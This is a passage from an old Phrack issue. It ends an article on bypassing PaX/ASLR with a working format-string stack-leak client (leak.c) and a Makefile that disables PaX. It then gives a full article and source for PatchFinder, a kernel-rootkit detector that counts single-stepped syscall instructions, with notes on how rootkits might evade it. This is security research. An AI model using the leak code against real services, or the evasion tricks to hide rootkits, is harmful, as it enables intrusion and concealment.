quite hard to perform the attack since we would have to control many of the vulnerable function parameters . [c] The frame pointer problem and workaround The technique also suffers from the same limitation than klog's fp overwriting [7] . If the frame pointer register (%ebp) is used between the 'call printf' and the 'call vuln_func', the program will crash and we wont be able to call vuln_func() again . Programs like: /* Non-buggy passwd based authentication */ int do_auth() { int len; printf("Password: "); fflush(stdout); len = read(0, pass, sizeof(pass) - 1); if (len <= 0) FATAL("read"); pass[len] = 0; if (!verify(pass)) (...) are not exploitable using a return into libc because 'len' will be indexed through %ebp after the read() returns . If the program is compiled without frame pointer, such a limitation does not exist . [d] Discussion about segvguard Segvguard is a tool coded by Nergal described in his paper [3] . In short, this tool can be used to forbid the executable relaunching if it crashed too much times . If segvguard is used, we are definitely asked to find the output function in the very near (+- 256 bytes) or the original return address . If segvguard is not used, we can try a two byte EIP overflow and brute force the 4 randomized bits in the high part of the second overflowed byte . This way, we'll be able to return on a farer 'call printf' instruction, increasing our chances . -------[ 5. The code : DHagainstpax I would like to sincerely congratulate the PaX team because they own me (who's the ingratefull pig ? ;) and because they've done the best work I have ever seen in this field since Openwall . Thanks go to theowl, klog, MaXX, Nergal, kalou and korty for discussions we had on this issue . Special thanks go to devhell labs 0 : - ] Shoutouts to #fr people (dont feed the troll) . May you all guyz pray for peace . <++> DHagainstpax/leak.c !78040134 /* * * Info leak code against PaX + ASLR protection . * */ #include #include #include #include #include #include #include #include #define FATAL(str) { perror(str); exit(-1); } #define PORT_NUM 666 #define SERVER_IP "127.0.0.1" #define BUF_SIZ 37 #define FMT "%%%03u$08u \x9a" #define RETREIVED_STACKSIZE 20 u_int remote_stack[RETREIVED_STACKSIZE]; void sigint_handler(int sig) { printf("Starting remote stack retreiving ... "); } int main(int argc, char **argv) { char buff[256]; struct sockaddr_in addr; int sock; int len; u_int cnt; u_char fmt[BUF_SIZ + 1]; if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) FATAL("socket"); bzero(&addr, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT_NUM); addr.sin_addr.s_addr = inet_addr(SERVER_IP); if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) FATAL("connect"); len = read(sock, buff, sizeof(buff) - 1); buff[len] = 0; printf("[RECEIVED FROM SERVER] *%s* \n", buff); signal(SIGINT, sigint_handler); printf("Connected! Press ^C to launch : "); fflush(stdout); pause(); for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt++) { snprintf(fmt, sizeof(fmt), FMT, cnt); write(sock, fmt, BUF_SIZ); len = read(sock, buff, sizeof(buff) - 1); buff[len] = 0; sscanf(buff, "%u", remote_stack + cnt); } printf("\n\nRemote stack : \n"); for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt += 4) printf("%08X %08X %08X %08X \n", remote_stack[cnt], remote_stack[cnt + 1], remote_stack[cnt + 2], remote_stack[cnt + 3]); puts(""); return (0); } <--> <++> DHagainstpax/Makefile !d055b5f3 ## ## Makefile for DHagainstpax ## SRC1 = pax_daemon.c OBJ1 = pax_daemon.o NAM1 = paxtestd SRC2 = leak.c OBJ2 = leak.o NAM2 = runit CC = gcc CFLAGS = -Wall -g3 #-fomit-frame-pointer OPT = $(CFLAGS) DUMP = objdump -d --section='.text' DUMP2 = objdump --syms GREP = grep DUMPLOG = $(NAM1).asm CHPAX = chpax -X all : fclean leak vuln vuln : $(OBJ1) $(CC) $(OPT) $(OBJ1) -o $(NAM1) @echo "" $(CHPAX) $(NAM1) $(DUMP) $(NAM1) > $(DUMPLOG) @echo "" @echo "Try to locate 'call printf' ;) 5th call above 'call verify'" @echo "" $(GREP) "_init\|verify" $(DUMPLOG) | $(GREP) 'call' @echo "" $(DUMP2) $(NAM1) | grep printf @echo "" leak : $(OBJ2) $(CC) $(OPT) $(OBJ2) -o $(NAM2) clean : rm -f *.o *\# \#* *~ fclean : clean rm -f $(NAM1) $(NAM2) <--> -------[ 6. References [1] PaX homepage The PaX team http://pageexec.virtualave.net [2] The OpenWall project Solar Designer http://openwall.com/linux/ [3] Advanced return-into-lib(c) exploits Nergal http://phrack.org/show.php?p=58&a=4 [4] Pentium refefence manual 'system programming guide' http://developer.intel.com/design/Pentium4/manuals/ [5] Bypassing stackguard and stackshield Kil3r/Bulba http://phrack.org/show.php?p=56&a=5 [6] Writing alphanumeric shellcodes rix http://phrack.org/show.php?p=57&a=15 [7] Frame pointer overwriting klog http://phrack.org/show.php?p=55&a=8 [8] Exploiting format bugs scut http://team-teso.net/articles/formatstring/ [9] The ELFsh project devhell labs http://www.devhell.org/~mayhem/projects/elfsh/ |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0a of 0x12 |=------=[ Execution path analysis: finding kernel based rootkits ]=-----=| |=-----------------------------------------------------------------------=| |=----------=[ Jan K. Rutkowski ]=----------=| --[ Introduction Over the years mankind has developed many techniques for masking presence of the attacker in the hacked system. In order to stay invisible modern backdoors modify kernel structures and code, causing that nobody can trust the kernel. Nobody, including IDS tools... In the article I will present a technique based on counting executed instructions in some system calls, which can be used to detect various kernel rootkits. This includes programs like SucKIT or prrf (see [SUKT01] and [PALM01]) which do not modify syscall table. I will focus on Linux kernel 2.4, running on Intel 32-bit Family processor (ia32). Also at the end of the article the PatchFinder source code is included - a proof of concept for described technique. I am not going to explain how to write a kernel rootkit. For details I send reader to the references. However I briefly characterize known techniques so their resistance to presented detection method can be described. --[ Background Lets take a quick look at typical kernel rootkits. Such programs must solve two problems: find a way to get into the kernel and modify the kernel in a smart way. On Linux the first task can be achieved by using Loadable Kernel Modules (LKM) or /dev/kmem device. ----[ getting into the kernel Using LKM is the easiest and most elegant way to modify the running kernel. It was probably first discussed by halflife in [HALF97]. There are many popular backdoors which use LKM (see [KNAR01], [ADOR01], [PALM01]). However this technique has a weak point - LKM can be disabled on some systems. When we do not have LKM support we can use technique, developed by Silvio Cesare, which uses /dev/kmem to access directly kernel memory (see [SILV98]). There is no easy work-around for this method, since patching do_write_mem() function is not sufficient, as it was recently showed by Guillaume Pelat (see [MMAP02]). ----[ modifying syscall table Providing that we can write to kernel memory, we face the problem what to modify. Many rootkits modifies syscall table in order to redirect some useful system calls like sys_read(), sys_write(), sys_getdents(), etc... For details see [HALF97] and source code of one of the popular rootkit ([KNAR01], [ADOR01]). However this method can be traced, by simply comparing current syscall table with the original one, saved after kernel creation. When there is LKM mechanism enabled in the system, we can use simple module, which read syscall table (directly accessing kernel memory) and then puts it into the userland (due to /proc filesystem for example). Unfortunately when LKM is not supported we can not read kernel memory reliably, since we use sys_read() or sys_mmap() to read or mmap /dev/kmem. We can not be sure that malicious code we are trying to find, does not alter sys_read()/sys_mmap() system calls. ----[ modifying kernel code Instead of changing pointers in the syscall table, malicious program can alter some code in the kernel, like system_call function. In this case analysis of syscall table would not show anything. Therefore we would like to scan scan kernel memory and check whether the code area has been modified. It is simple to implement if there is LKM enabled. However, if we do not have LKM support, we must access kernel memory through /dev/kmem and again we face the problem of unreliable sys_read()/sys_mmap(). SucKIT (see [SUKT01]) is an example of rootkit which uses /dev/kmem to access kernel and then changing system_call code, not touching original syscall table. Although SucKIT does not alter sys_read() and sys_mmap() behavior, this feature can be added, making it impossible to detect such backdoor by conventional techniques (i.e. memory scanning through /dev/kmem)... ----[ modifying other pointers In the previous issue of Phrack palmers presented nice idea of changing some pointers in /proc filesystem (see [PALM01]). Again if our system has LKM enabled we can, at least theoretically, check all the kernel structures and find out if somebody has changed some pointers. However it could be difficult in implementation, because we have to foresee all potential places the rootkit may exploit. With LKM disabled, we face the same problem as explained in the above paragraphs. --[ Execution path analysis (stepping the kernel) As we can see, detection of kernel rootkits is not trivial. Of course if we have LKM support enabled we can, theoretically, scan the whole kernel memory and find the intruder. However we must be very careful in deciding what to look for. Differences in the code indicates of course that something is wrong. Although change of some data should also be treated as alarm (see prrf.o again), modifications of others structures might be result of normal kernel daily tasks. The things become even more complicated when we disable LKM on our kernel (to be more secure:)). Then, as I have just said, we can not read kernel memory reliable, because we are not sure that sys_read() returns real bytes (so we can't read /dev/kmem). We are also not sure that sys_mmap2() fills mapped pages with correct bytes... Lets try from other side. If somebody modified some kernel functions, it is very probable, that the number of instructions executed during some system calls (for e.g. sys_getdents() in case an attacker is trying to hide files) will be different than in the original kernel. Indeed, malicious code must perform some additional actions, like cutting off secret filenames, before returns results to userland. This implies execution of many more instructions compared to not infected system. We can measure this difference! ----[ hardware stepper The ia32 processor, can be told to work in the single-step mode. This is achieved by setting the TF bit (mask 0x100) in EFLAGS register. In this mode processor will generate a debug exception (#DB) after every execution of the instruction. What is happened when the #DB exception is generated? Processor stops execution of the current process and calls debug exception handler. The #DB exception handler is described by trap gate at interrupt vector 1. In Intel's processors there is an array of 256 gates, each describing handler for a specific interrupt vector (this is probably the Intel's secret why they call this scalar numbers 'vectors'...). For example at position 0x80 there is a gate which tells where is located handler of the 0x80 trap - the Linux system call. As we all know it is generated by the process by means of the 'int 0x80' instruction. This array of 256 gates is called Interrupt Descriptor Table (IDT) and is pointed by the idtr register. In Linux kernel, you can find this handler in arch/i386/kernel/entry.S file. It is called 'debug'. As you can see, after some not interesting operations it calls do_debug() function, which is defined in arch/i386/kernel/traps.c. Because #DB exception is devoted not only for single stepping but to many other debugging activities, the do_debug() function is a little bit complex. However it does not matter for us. The only thing we are interested in, is that after detecting the #DB exception was caused by single stepping (TF bit) a SIGTRAP signal is sent to traced process. The process might catch this signal. So, it looks that we can do something like this, in our userland program: volatile int traps = 0; int trap () { traps++; } main () { ... signal (SIGTRAP, sigtrap); xor_eflags (0x100); /* call syscall we want to test */ read (fd, buff, sizeof (buff)); xor_eflags (0x100); printf ("testing syscall takes %d instruction\n", traps); } It looks simple and elegant. However has one disadvantage - it does not work as we want. In variable traps we will find only the number of instructions executed in userland. As we all know, read() is only a wrapper to 'int 0x80' instruction, which causes the processor calls 0x80 exception handler. Unfortunately the processor clears TF flag when executing 'int x' (and this instruction is causing privilege level changing). In order to stepping the kernel, we must insert some code into it, which will be responsible for setting the TF flag for some processes. The good place to insert such code is the beginning of the 'system_call' assembler routine (defined in arch/i386/kernel/entry.S.), which is the entry for the 0x80 exception handler. As I mentioned before the address of 'system_call' is stored in the gate located at position 0x80 in the the Interrupt Descriptor Table (IDT). Each gateway (IDT consist of 256 of them) has the following format: struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none, flags; unsigned short off2; } __attribute__ ((packed)); The 'sel' field holds the segment selector, and in case of Linux is equal to __KERNEL_CS. The handler routine is placed at (off2<<16+off1) within the segment, and because the segments in Linux have the base 0x0, it means that it is equal to the linear address. The fields 'none' and 'flags' are used to tell the processor about some additional info about calling the handler. See [IA32] for detail. The idtr register, points to the beginning of IDT table (it specifies linear address, not logic as was in idt_gate): struct idtr { unsigned short limit; unsigned int base; /* linear address of IDT table */ } __attribute__ ((packed)); Now we see, that it is trivial to find the address of system_call in our Linux kernel. Moreover, it is also easy to change this address to a new one. Of course we can not do it from userland. That is why we need a kernel module (see later discussion about what if we have LKM disabled), which changes the address of 0x80 handler and inserts the new code, which we use as the new system_call. And this new code may look like this: ENTRY(PF_system_call) pushl %ebx movl $-8192, %ebx andl %esp, %ebx # %ebx <-- current testb $PT_PATCHFINDER,24(%ebx) # 24 is offset of 'ptrace' je continue_syscall pushf popl %ebx orl $TF_MASK, %ebx # set TF flag pushl %ebx popf continue_syscall: popl %ebx jmp *orig_system_call As you can see, I decided to use 'ptrace' field within process descriptor, to indicate whether a particular process wants to be single traced. After setting the TF flag, the original system_call handler is executed, it calls specific sys_xxx() function and then returns the execution to the userland by means of the 'iret' instruction. Until the 'iret' every single instruction is traced. Of course we have to also provide our #DB handler, to account all this instructions (this will replace the system's one): ENTRY(PF_debug) incl PF_traps iret The PF_traps variable is placed somewhere in the kernel during module loading. To be complete, we also need to add a new system call, which can be called from the userland to set the PT_PATCHFINDER flag in current process descriptor's 'ptrace' variable, to reset or return the counter value. asmlinkage int sys_patchfinder (int what) { struct task_struct *tsk = current; switch (what) { case PF_START: tsk->ptrace |= PT_PATCHFINDER; PF_traps = 0; break; case PF_GET: tsk->ptrace &= ~PT_PATCHFINDER; break; case PF_QUERY: return PF_ANSWER; default: printk ("I don't know what to do!\n"); return -1; } return PF_traps; } In this way we changed the kernel, so it can measure how many instructions each system call takes to execute. See module.c in attached sources for more details. ----[ the tests Having the kernel which allows us to counter instructions in any system call, we face the problem what to measure. Which kernel functions should we check? To answer this question we should think what is the main task of every rootkit? Well, its job is to hide presence of attacker's process/files/connections in the rooted system. And those things should be hidden from such tools like ls, ps, netstat etc. These programs collect the system information through some well known system calls. Even if backdoor does not touch syscall directly, like prrf.o, it modifies some kernel functions which are activated by one of the system call. The problem lies in the fact, that these modified functions does not have to be executed during every system call. For example if we modify only some pointer to reading functions in procfs, then attacker's code will be executed only when read() is called in order to read some specific file, like /proc/net/tcp. It complicates detection a little, since we have to measure execution time of particular system call with different arguments. For example we test sys_read() by reading "/etc/passwd", "/dev/kmem" and "/proc/net/tcp" (i.e. reading regular file, device and pseudo proc-file). We do not test all system calls (about 230) because we assume that some routine tasks every backdoor should do, like hiding processes or files, will use only some little subset of syscalls. The tests included in PatchFinder, are defined in tests.c file. The following one is trying to find out if somebody is hiding some processes and/or files in the procfs: int test_readdir_proc () { int fd, T = 0; struct dirent de[1]; fd = open ("/proc", 0, 0); assert (fd>0); patchfinder (PF_START); getdents (fd, de, sizeof (de)); T = patchfinder (PF_GET); close (fd); return T; } Of course it is trivial to add a new test if necessary. There is however, one problem: false positives. Linux kernel is a complex program, and most of the system calls have many if-then clauses which means different patch are executed depending on many factors. These includes caches and 'internal state of the system', which can be for e.g. a number of open TCP connections. All of this causes that sometime you may see that more (or less) instructions are executed. Typically this differences are less then 10, but in some tests (like writing to the file) it may be even 200!. This could be minimizing by increasing the number of iteration each test is taken. If you see that reading "proc/net/tcp" takes longer try to reset the TCP connections and repeat the tests. However if the differences are significant (i.e. more then 600 instructions) it is very probably that somebody has patched your kernel. But even then you must be very careful, because this differences may be caused by some new modules you have loaded recently, possibly unconscious. --[ The PatchFinder Now the time has came to show the working program. A proof of concept is attached at the end of this article. I call it PatchFinder. It consist of two parts - a module which patches the kernel so that it allows to debug syscalls, and a userland program which makes the tests and shows the results. At first you must generate a file with test results taken on the clear system, i.e. generated after you installed a new kernel. Then you can check your system any time you want, just remember to insert a patchfinder.o module before you make the test. After the test you should remove the module. Remember that it replaces the Linux's native debug exception handler! The results on clear system may look like this (observe the little differences in 'diff' column): test name | current | clear | diff | status ------------------------------------------------------ open_file | 1401| 1400| 1| ok stat_file | 1200| 1200| 0| ok read_file | 1825| 1824| 1| ok open_kmem | 1440| 1440| 0| ok readdir_root | 5784| 5774| 10| ok readdir_proc | 2296| 2295| 1| ok read_proc_net_tcp | 11069| 11069| 0| ok lseek_kmem | 191| 191| 0| ok read_kmem | 322| 321| 1| ok The tests on the same system, done when there was a adore loaded shows the following: test name | current | clear | diff | status ------------------------------------------------------ open_file | 6975| 1400| 5575| ALERT! stat_file | 6900| 1200| 5700| ALERT! read_file | 1824| 1824| 0| ok open_kmem | 6952| 1440| 5512| ALERT! readdir_root | 8811| 5774| 3037| ALERT! readdir_proc | 14243| 2295| 11948| ALERT! read_proc_net_tcp | 11063| 11069| -6| ok lseek_kmem | 191| 191| 0| ok read_kmem | 321| 321| 0| ok Everything will be clear when you analyze adore source code :). Similar results can be obtained for other popular rootkits like knark or palmers' prrf.o (please note that the prrf.o does not change the syscall table directly). The funny thing happens when you try to check the kernel which was backdoored by SucKIT. You should see something like this: ---== ALERT! ==-- It seems that module patchfinder.o is not loaded. However if you are sure that it is loaded, then this situation means that with your kernel is something wrong! Probably there is a rootkit installed! This is caused by the fact that SucKIT copies original syscall table into new position, changes it in the fashion like knark or adore, and then alters the address of syscall table in the system_call code so that it points to this new copy of the syscall table. Because this copied syscall table does not contain a patchfinder system call (patchfinder's module is inserted just before the tests), the testing program is unable to speak with the module and thinks it is not loaded. Of course this situation easy betrays that something is wrong with the kernel (or that you forgot to load the module:)). Note, that if patchfinder.o is loaded you can not start SucKIT. This is due its installation method which assumes how the system_call's binary code should look like. SucKIT is very surprised seeing PS_system_call instead of original Linux 0x80 handler... There is one more thing to explain. The testing program, before the beginning of the tests, sets SCHED_FIFO scheduling policy with the highest rt_priority. In fact, during the tests, only the patchfinder's process has CPU (only hardware interrupts are serviced) and is never preempted, until it finishes the tests. There are three reasons for such approach. TF bit is set at the beginning of the system_call, and is cleared when the 'iret' instruction is executed at the end of the exception handler. During the time the TF bit is set, sys_xxx() is called, but after this some scheduling related stuff is also executed, which can lead to process switch. This is not good, because it causes more instruction to be executed (in the kernel, we do not care about instructions executed in the switched process of course). There is also a more important issue. I observed that, when I allow process switching with TF bit set, it may cause processor restart(!) after a few hundred switches. I did not found any explanation of such behavior. The following problem does not occur when SET_SCHED is set. The third reason to use realtime policy is to guarantee system state as stable as possible. For example if our test was run in parallel with some process which opens and reads lots of files (like grep), this could affect some tests connected with sys_open()/sys_read(). The only disadvantage of such approach is that your system is inaccessible during the tests. However it does not take long since a typical test session (depending on the number of iterations per each test) takes less then 15 seconds to complete. And a technical detail: attached source code is using LKM to install described kernel extensions. At the beginning of the article I have said, that on some systems LKM is not compiled into the kernel. We can use only /dev/kmem. I also said that we can not relay on /dev/kmem since we are using syscalls to access it. However it should not be a problem for tool like patchfinder, because if rootkit will disturb in loading of our extensions we should see that the testing program is not working. See also discussion in the next section. --[ Cheating & hardening patchfinder program Now I will try to discuss a possible methods of compromising presented method in general and attached patchfinder program in particular. I will also try to show how to defend against such attacks, describing the properties of the next generation patchfinder... The first thing a malicious code can do is to check if it is traced. It may simply execute: pushf popl %ebx testb $0x100, %ebx jne i_am_traced # contine executing ... i_am_traced: # deinstall for # a moment ... When malicious code realize that it is traced it may uninstall itself from the specific syscall. However, before that, it will settle in the timer interrupt handler, so after for e.g. 1 minute it will back to that syscall. How to defend such trick? Well, remember that we (i.e. patchfinder) are tracing the code all the time. So the debug handler (which is provided by us) can detect that 'pushf' instruction has been just executed. Then it may alter the 'eflags' saved on the stack (by just executed 'pushf'), so that for the traced process it looks like the TF flags was cleared. I do not see at the moment any other general attack against execution trace analysis. However, there are possibilities of cheating a specific implementation, like patchfinder, which I am going to discuss now. The attacker can alter sys_write() and check if process named 'patchfinder' is trying to write a specific line to stdout - a line with some test result. Then it will change the write()'s buffer and user will see faked results. Similar, the rootkit may realized that a file with clear system characteristic is to be read and change the buffer returned from sys_read(), so the patchfinder will get false references. Moreover, when patchfinder uses a fixed number for its system call, the malicious rootkit can change the results returned by that system call and in result cheat testing process about the number of instruction executed. We can defend against such attacks, by causing that on each system patchfinder's executable will get different name and also by encrypting the file with clear system's characteristics. More over we should use different numbers for patchfinder's system call. The rootkit could easily trace the patchfinder's process by seeing that it calls specific system call. We are not limited to only to empty system calls, since we can replace any existing system call and first check if some magic numbers are in arguments. In case there is no magic arguments we simply call original sys_xxx(). Although using random number for patchfinder's syscall we makes it a little bit harder for the rootkit to cheat the results returned to the patchfinder process, it is still possible for the malicious code to find out which syscall is being used. It can be achieved by pattern searching for the specific binary instruction. This will be easy since attacker knows everything about the source code (and binary) of the patchfinder program. Another method can exploit the fact that patchfinder marks a process to be traced in some specific way (i.e. setting a bit in 'ptrace' field of the process descriptor). Malicious rootkit can replace the system_call routine with its own version. This new version will check if the process is marked by patchfinder and then it will use original syscall table. If it is not marked by testing process another syscall table will be used (which has some sys_xxx() functions replaced). It will be hard for the #DB exception handler to find out whether the rootkit is trying to check for e.g. the 'ptrace' field, since the code doing this can have many forms. The debug exception handler's code can also betrays where is located the counter variable (PF_traps) in memory. Knowing this address, smart rootkit can decrease this variable at the end of its 'operational' code, by the number of instructions in this additional code. The only remedy I can see for the above weaknesses can be strong polymorphism. The idea is to add a polymorphic code generator to the patchfinder distribution which, for every system it is installed on, will create a different binary images for patchfinder's kernel code. This generation could be based on some passphrase the administrator will provide at the installation time. I have not yet implemented polymorphic approach, but it looks promising... --[ Another solutions The presented technique is a proposition of general approach to detect kernel based rootkits. The main problem in such actions is that we want to use kernel to help us detect malicious code which has the full control of our kernel. In fact we can not trust the kernel, but on the other hand want to get some reliable information form it. Debugging the execution path of the system calls is probably not the only one solution to this problem. Before I have implemented patchfinder, I had been working on another technique, which tries to exploit differences in the execution time of some system calls. The tests were actually the same as those which are included with patchfinder. However, I have been using processor 'rdtsc' instruction to calculate how many cycles a given piece of code has been executed. It worked well on processor up to 500Mhz. Unfortunately when I tried the program on 1GHz processor I noted that the execution time of the same code can be very different from one test to another. The variation was too big, causing lots of false positives. And the differences was not caused by the multitasking environment as you may think, but lays deeply in the micro-architecture of the modern processors. As Andy Glew explained me, these beasties have tendencies to stabilizes the execution time on one of the possible state, depending on the initial conditions. I have no idea how to cause the initial state to be the same for each tests or even to explore the whole space of theses initial states. Therefore I switched to stepping the code by the hardware debugger. However the method of measuring the times of syscall could be very elegant... If it was working. Special thanks to Marcin Szymanek for initial idea about this timing-based method. Although it can be (possibly) many techniques of finding rootkits in the kernel, it seems that the general approach should exploit polymorphism, as it is probably the only way to get reliable information from the compromised kernel. --[ Credits Thanks to software.com.pl for allowing me to test the program on different processors. --[ References [HALF97] halflife, "Abuse of the Linux Kernel for Fun and Profit", Phrack 50, 1997. [KNAR01] Cyberwinds, "Knark-2.4.3" (Knark 0.59 ported to Linux 2.4), 2001. [ADOR01] Stealth, "Adore v0.42", http://spider.scorpions.net/~stealth, 2001. [SILV98] Silvio Cesare, "Runtime kernel kmem patching", http://www.big.net.au/~silvio, 1998. [SUKT01] sd, devik, "Linux on-the-fly kernel patching without LKM" (SucKIT source code), Phrack 58, 2001. [PALM01] palmers, "Sub proc_root Quando Sumus (Advances in Kernel Hacking)" (prrf source code), Phrack 58, 2001. [MMAP02] Guillaume Pelat, "Grsecurity problem - modifying 'read-only kernel'", http://securityfocus.com/archive/1/273002, 2002. [IA32] "IA-32 Intel Architecture Software Developer's Manual", vol. 1-3, www.intel.com, 2001. --[ Appendix: PatchFinder source code This is the PatchFinder, the proof of concept of the described technique. It does not implement polymorphisms. The LKM support is need in order to run this program. If, during test you notice strange actions (like system Oops) this probably means that somebody rooted your system. On the other hand it could be my bug... And remember to remove the patchfinder's module after the tests. <++> ./patchfinder/Makefile MODULE_NAME=patchfinder.o PROG_NAME=patchfinder all: $(MODULE_NAME) $(PROG_NAME) $(MODULE_NAME) : module.o traps.o ld -r -o $(MODULE_NAME) module.o traps.o module.o : module.c module.h gcc -c module.c -I /usr/src/linux/include traps.o : traps.S module.h gcc -D__ASSEMBLY__ -c traps.S $(PROG_NAME): main.o tests.o libpf.o gcc -o $(PROG_NAME) main.o tests.o libpf.o main.o: main.c main.h gcc -c main.c -D MODULE_NAME='"$(MODULE_NAME)"'\ -D PROG_NAME='"$(PROG_NAME)"' tests.o: tests.c main.h libpf.o: libpf.c libpf.h clean: rm -fr *.o $(PROG_NAME) <--> ./patchfinder/Makefile <++> ./patchfinder/traps.S /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #define __KERNEL__ #include "module.h" tsk_ptrace = 24 # offset into the task_struct ENTRY(PF_system_call) pushl %ebx movl $-8192, %ebx andl %esp, %ebx # %ebx <-- current testb $PT_PATCHFINDER,tsk_ptrace(%ebx) je continue_syscall pushf popl %ebx orl $TF_MASK, %ebx # set TF flag pushl %ebx popf continue_syscall: popl %ebx jmp *orig_system_call ENTRY(PF_debug) incl PF_traps iret <--> ./patchfinder/traps.S <++> ./patchfinder/module.h /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #ifndef __MODULE_H #define __MODULE_H #define PT_PATCHFINDER 0x80 /* should not conflict with PT_xxx defined in linux/sched.h */ #define TF_MASK 0x100 /* TF mask in EFLAGS */ #define SYSCALL_VECTOR 0x80 #define DEBUG_VECTOR 0x1 #define PF_START 0xfee #define PF_GET 0xfed #define PF_QUERY 0xdefaced #define PF_ANSWER 0xaccede #define __NR_patchfinder 250 #endif <--> ./patchfinder/module.h <++> ./patchfinder/module.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include #endif #include #include #include #include "module.h" #define DEBUG 1 MODULE_AUTHOR("Jan Rutkowski"); MODULE_DESCRIPTION("The PatchFinder module"); asmlinkage int PF_system_call(void); asmlinkage int PF_debug (void); int (*orig_system_call)(); int (*orig_debug)(); int (*orig_syscall)(unsigned int); extern void *sys_call_table[]; int PF_traps; /* this one comes from arch/i386/kernel/traps.c */ #define _set_gate(gate_addr,type,dpl,addr) \ do { \ int __d0, __d1; \ __asm__ __volatile__ ("movw %%dx,%%ax\n\t" \ "movw %4,%%dx\n\t" \ "movl %%eax,%0\n\t" \ "movl %%edx,%1" \ :"=m" (*((long *) (gate_addr))), \ "=m" (*(1+(long *) (gate_addr))), "=&a" (__d0), "=&d" (__d1) \ :"i" ((short) (0x8000+(dpl<<13)+(type<<8))), \ "3" ((char *) (addr)),"2" (__KERNEL_CS << 16)); \ } while (0) struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none, flags; unsigned short off2; } __attribute__ ((packed)); struct idtr { unsigned short limit; unsigned int base; } __attribute__ ((packed)); struct idt_gate * get_idt () { struct idtr idtr; asm("sidt %0" : "=m" (idtr)); return (struct idt_gate*) idtr.base; } void * get_int_handler (int n) { struct idt_gate * idt_gate = (get_idt() + n); return (void*)((idt_gate->off2 << 16) + idt_gate->off1); } static void set_system_gate(unsigned int n, void *addr) { printk ("setting int for int %d -> %#x\n", n, addr); _set_gate(get_idt()+n,15,3,addr); } asmlinkage int sys_patchfinder (int what) { struct task_struct *tsk = current; switch (what) { case PF_START: tsk->ptrace |= PT_PATCHFINDER; PF_traps = 0; break; case PF_GET: tsk->ptrace &= ~PT_PATCHFINDER; break; case PF_QUERY: return PF_ANSWER; default: printk ("I don't know what to do!\n"); return -1; } return PF_traps; } int init_module () { EXPORT_NO_SYMBOLS; orig_system_call = get_int_handler (SYSCALL_VECTOR); set_system_gate (SYSCALL_VECTOR, &PF_system_call); orig_debug = get_int_handler (DEBUG_VECTOR); set_system_gate (DEBUG_VECTOR, &PF_debug); orig_syscall = sys_call_table[__NR_patchfinder]; sys_call_table [__NR_patchfinder] = sys_patchfinder; printk ("Kernel PatchFinder has been succesfully" "inserted into your kernel!\n"); #ifdef DEBUG printk (" orig_system_call : %#x\n", orig_system_call); printk (" PF_system_calli : %#x\n", PF_system_call); printk (" orig_debug : %#x\n", orig_debug); printk (" PF_debug : %#x\n", PF_debug); printk (" using syscall : %d\n", __NR_patchfinder); #endif return 0; } int cleanup_module () { set_system_gate (SYSCALL_VECTOR, orig_system_call); set_system_gate (DEBUG_VECTOR, orig_debug); sys_call_table [__NR_patchfinder] = orig_syscall; printk ("PF module safely removed.\n"); return 0; } <--> ./patchfinder/module.c <++> ./patchfinder/main.h /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #ifndef __MAIN_H #define __MAIN_H #define PF_MAGIC "patchfinder" #define M_GENTTBL 1 #define M_CHECK 2 #define MAX_TESTS 9 #define TESTNAMESZ 32 #define WARN_THRESHOLD 20 #define ALERT_THRESHHOLD 500 #define TRIES_DEFAULT 200 typedef struct { int t; double ft; char name[TESTNAMESZ]; int (*test_func)(); } TTEST; typedef struct { char magic[sizeof(PF_MAGIC)]; TTEST test [MAX_TESTS]; int ntests; int tries; } TTBL; #endif <--> ./patchfinder/main.h <++> ./patchfinder/main.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #include #include #include #include #include #include "main.h" #include "libpf.h" void die (char *str) { if (errno) perror (str); else printf ("%s\n", str); exit (1); } void usage () { printf ("(c) Jan K. Rutkowski, 2002\n"); printf ("email: jkrutkowski@elka.pw.edu.pl\n"); printf ("%s [OPTIONS] \n", PROG_NAME); printf (" -g save current system's characteristics to file\n"); printf (" -c check system against saved results\n"); printf (" -t change number of iterations per each test\n"); exit (0); } void write_ttbl (TTBL* ttbl, char *filename) { int fd; fd = open (filename, O_WRONLY | O_CREAT); if (fd < 0) die ("can not create file"); strcpy (ttbl->magic, PF_MAGIC); if (write (fd, ttbl, sizeof (TTBL)) < 0) die ("can not write to file"); close (fd); } void read_ttbl (TTBL* ttbl, char *filename) { int fd; fd = open (filename, O_RDONLY); if (fd < 0) die ("can not open file"); if (read (fd, ttbl, sizeof (TTBL)) != sizeof(TTBL)) die ("can not read file"); if (strncmp(ttbl->magic, PF_MAGIC, sizeof (PF_MAGIC))) die ("bad file format\n"); close (fd); } main (int argc, char **argv) { TTBL current, clear; int tries = 0, mode = 0; int opt, max_prio, i, j, T1, T2, dt; char *ttbl_file; struct sched_param sched_p; while ((opt = getopt (argc, argv, "hg:c:t:")) != -1) switch (opt) { case 'g': mode = M_GENTTBL; ttbl_file = optarg; break; case 'c': ttbl_file = optarg; mode = M_CHECK; break; case 't': tries = atoi (optarg); break; case 'h': default : usage(); } if (getuid() != 0) die ("For some reasons you have to be root"); if (!mode) usage(); if (patchfinder (PF_QUERY) != PF_ANSWER) { printf ( "\n ---== ALERT! ==--\n" "It seems that module %s is not loaded. " "However if you are\nsure that it is loaded," "then this situation means that with your\n" "kernel is something wrong! Probably there is " "a rootkit installed!\n", MODULE_NAME); exit (1); } current.tries = (tries) ? tries : TRIES_DEFAULT; if (mode == M_CHECK) { read_ttbl (&clear, ttbl_file); current.tries = (tries) ? tries : clear.tries; } max_prio = 